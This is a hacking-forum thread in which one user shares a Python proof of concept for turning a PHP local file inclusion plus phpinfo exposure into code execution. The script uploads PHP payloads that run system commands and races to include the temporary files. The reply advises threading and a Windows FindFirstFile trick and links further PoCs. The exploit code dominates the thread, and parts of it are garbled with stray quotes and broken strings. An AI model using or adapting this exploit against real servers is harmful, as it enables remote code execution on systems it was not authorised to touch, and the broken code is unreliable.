

## Forum: [Hack Forums](#)

Thread: [\[HELP\]Advanced LFI Race Condition PoC \(python\)](#)

**Hypnoze57** - February 4, 2018, 11:12 am

Hi guys, I'm trying to create a local PoC to exploit LFI Race Condition on /tmp based on file sending in post data (no session trick).

For some of you who don't know about:

[http://gynvael.coldwind.pl/download.php?f=PHP\\_LFI\\_rfc1867\\_temporary\\_files.pdf](http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)  
<https://www.insomniasec.com/downloads/publications/LFI%20With%20PHPInfo%20Assistance.pdf>

I'm doing:

Padding header with random data to get phpinfo response chunked and have path to my payload before script execution ends

Send multiple files (PHP default max: 20)

Use socket to receive data by chunk

When phpinfo give me one or more path to my payload, I request my LFI with correct payload path but it's too late the temporary file is already removed.

At the beginning, I've tried to use bruteforce method (instead of phpinfo) with self inclusion to slow down execution of script but my self inclusion send me fatal error very fastly (less than 1 second) so I really don't know how the guys who use bf method do.

Here is my Python PoC:

Code `#!/usr/bin/python3`

```
import socket
import hashlib
import time
```

```
import random
import string
import re
import requests
```

```
host = "localhost"
port = 80
# path = "/lfi_test/tmp_exploit/lfi.php?page=lfi.php"
# path = "/lfi_test/tmp_exploit/lfi.php"
path = "/lfi_test/tmp_exploit/phpinfo.php"
```

```
filename = "name.php"
fileID = hashlib.md5(filename.encode()).hexdigest()
```

```
PHP_PAYLOAD = """"<?php
system("uptime");
system("pwd && ls -lah");
```

```
?>
''''''
```

```
PADDING = "A"*8000
REQUEST_HEADER = '''XMETHODX XPATHX HTTP/1.1
Host: XHOSTX
User-Agent: %s
Accept-Encoding: UTF-8, %s
Accept: %s
Connection: keep-alive
Content-Length: XLENGTHX
Content-Type: multipart/form-data; boundary=XFILEIDX
```

```
''' % (PADDING, PADDING, PADDING)
```

```
REQUEST_BODY_TEMPLATE = '''--XFILEIDX
Content-Disposition: form-data; name="XRANDOMNAMEX"; filename="XFILENAMEX"
```

```
XPHPAYLOADX
''''
```

```
REQUEST_BODY = "
for i in range(20):
    REQUEST_BODY += REQUEST_BODY_TEMPLATE.replace('\n', '\r\n').replace('XFILEIDX',
fileID).replace('XFILENAMEX', filename).replace('XPHPAYLOADX',
PHP_PAYLOAD).replace('XRANDOMNAMEX', ''.join(random.choice(string.ascii_lowercase) for _ in
range(8)))
```

```
REQUEST_BODY += "--XFILEIDX--".replace('XFILEIDX', fileID)
```

```
# REQUEST_BODY = REQUEST_BODY.replace('\n', '\r\n').replace('XFILEIDX',
fileID).replace('XFILENAMEX', filename).replace('XPHPAYLOADX', PHP_PAYLOAD)
REQUEST_HEADER = REQUEST_HEADER.replace('\n', '\r\n').replace('XMETHODX',
'POST').replace('XPATHX', path).replace('XHOSTX', host).replace('XFILEIDX',
fileID).replace('XFILENAMEX', filename).replace('XLENGTHX', str(len(REQUEST_BODY)))
```

```
REQUEST = REQUEST_HEADER + REQUEST_BODY
```

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(1)
```

```
# print("Request:\n%s" % REQUEST)
```

```
s.send(REQUEST.encode())
''''
```

```
s.send(REQUEST_HEADER.encode())
```

```
for bt in REQUEST_BODY.encode():
    s.send(bytes([bt]))
    # time.sleep(0.01)
# s.send(REQUEST_BODY.encode())
''''
```

```

while 1:
    try:
        data = s.recv(1024)
    except socket.timeout:
        print("Timeout, break!")
        break

    if not data:
        print("No more data")
        break

    # print(data.decode('utf-8', errors='ignore'))
    data = data.decode('utf-8', errors='ignore')
    # print(data)

    payload_path = re.findall('\tmp\php[0-9A-Za-z]{6}', data)
    if payload_path:
        print(payload_path)
        r = requests.get('http://localhost/lfi_test/tmp_exploit/lfi.php?page=%s' % (payload_path[0]))
        print(r.text)
        break
    # """"

s.close()
Please let me know if you have any idea or if you have already experiment that kind of LFI before :)
(with bf or phpinfo assistance)

```

Thank's by advance ?

**Hooded Robin** - February 5, 2018, 9:03 am

Rather than using a for loop to iterate requests, try spinning up the requests in a thread pool (like in the original poc). This will increase your chance of filling memory to the max on the vuln server and potentially increasing the potential delay in the time the temp file is created and then removed by PHP under the hood. Also recommend playing with the padding size a bit, might reduce it a bit. The success rate on Linux w/phpinfo() exposure + LFI is not all that high in my experience and without threading your chances are very minimal. If your experimenting with more advanced LFI methods though, I highly recommend looking more into the Windows method with FindFirstFile quirk which allows you to reliably find the temporary file thanks to the FindFirstFile globbing approach to finding files to read/include. It doesn't require threaded approach either so easy to automate from coding perspective if threading is new to you.

Original POC using threading: <https://pastebin.com/2ur2XD8T>

Modified POC: <https://pastebin.com/P9utNv2N>

PowerShell based POC for the Windows LFI+TMP File RCE: <https://pastebin.com/jejHPXzS>

Hope that helps a little...